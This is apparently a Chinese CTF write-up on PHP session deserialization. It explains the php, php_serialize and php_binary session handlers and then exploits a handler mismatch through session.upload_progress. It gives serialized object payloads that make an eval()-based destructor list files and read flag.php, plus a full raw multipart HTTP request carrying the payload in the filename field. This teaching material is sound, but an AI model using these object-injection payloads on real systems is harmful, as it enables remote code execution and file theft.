PHP反序列化与SESSION
创始人
2024-03-20 03:37:32
0
  1. php存储session的三种模式

php_serialize(php=>5.5.4)

经过serialize()函数序列化数组

php

键名+竖线+经过seralize()序列处理的值

php_biary

键名的长度对应ASCII字符+键名+serialize()序列化的值

测试代码

//ini_set("session.serialize_handler", "php");

//ini_set("session.serialize_handler", "php_serialize");

ini_set("session.serialize_handler", "php_binary"); 

session_start();

$_SESSION['moonsec'] = $_GET['moonsec'];

序列化存储格式

php

moonsec|s:3:"123";

php_serialize

a:1:{s:7:"moonsec";s:3:"123";}

php_binary

<0x07>moonsecs:3:"123";

2.CTF题目                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      

mdzz = 'phpinfo();';}function __destruct(){eval($this->mdzz);}
}
if(isset($_GET['phpinfo']))
{$m = new CTF();
}
else
{highlight_string(file_get_contents('index.php'));
}?>

条件         

  1. session.serialize_handler  php 局部变量 php_serialize 主变量
  2. session.upload_progress.cleanup 默认开启 现关闭
  3. session.upload_progress.enabled 默认开启

php bug

PHP :: Doc Bug #71101 :: serialize_handler must not be switched for existing sessions

session.upload_progress.enabled  On

session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。但当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。由此来设置session

序列化

mdzz = 'print_r(scandir(dirname(__FILE__)));';}function __destruct(){eval($this->mdzz);}
}$m = new CTF();
echo serialize($m);
?>
O:3:"CTF":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

上传表单  

       
       upload   
     
      

|O:3:\"CTF\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}             

 读flag

O:3:"CTF":1:{s:4:"mdzz";s:83:"print_r(file_get_contents("D:/phpstudy_pro/WWW/www.test1.com/ctf/demo3/flag.php"));";
|O:3:\"CTF\":1:{s:4:\"mdzz\";s:83:\"print_r(file_get_contents(\"D:/phpstudy_pro/WWW/www.test1.com/ctf/demo3/flag.php\"));\";

 

POST /ctf/demo3/index.php HTTP/1.1

Host: www.test1.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------11171372103466141198728743662

Content-Length: 39314

Origin: http://www.test1.com

Connection: close

Referer: http://www.test1.com/ctf/demo3/upload.html

Cookie: PHPSESSID=p13eoiiiq3rp69k85an1d2idbu

Upgrade-Insecure-Requests: 1

-----------------------------11171372103466141198728743662

Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

1

-----------------------------11171372103466141198728743662

Content-Disposition: form-data; name="file"; filename="|O:3:\"CTF\":1:{s:4:\"mdzz\";s:83:\"print_r(file_get_contents(\"D:/phpstudy_pro/WWW/www.test1.com/ctf/demo3/flag.php\"));\";}

Content-Type: image/png

相关内容

热门资讯

前端-session、jwt 目录:   (1)session (2&#x...
linux入门---制作进度条 了解缓冲区 我们首先来看看下面的操作: 我们首先创建了一个文件并在这个文件里面添加了...
关于测试,我发现了哪些新大陆 关于测试 平常也只是听说过一些关于测试的术语,但并没有使用过测试工具。偶然看到编程老师...
前缀和与对数器与二分法 1. 前缀和 假设有一个数组,我们想大量频繁的去访问L到R这个区间的和,...
nodejs:本地安装nvm实... 一、背景-使用不同版本node的原因 vue3+ts、nuxt3版本,node...
JAVA集合知识整理 Java集合知识整理 HashMap相关 HashMap的底层数据结构:jdk1.8之...
无刷直流电机介绍及单片机控制实... 无刷直流电机介绍及单片机控制实例前言基本概念优势与劣势使用寿命基本结构使用单片机控制实例电子调速器&...
fwdiary(2) dp2 1.传纸条  AcWing 275. 传纸条 - AcWing 走两条路,走一条最大的...
常用的DOS命令 常用的DOS命令 DOS(Disk Operating System,磁...
<C++> 类和对象(下) 1.const成员函数将const修饰的“成员函数”称之为const成员函数,cons...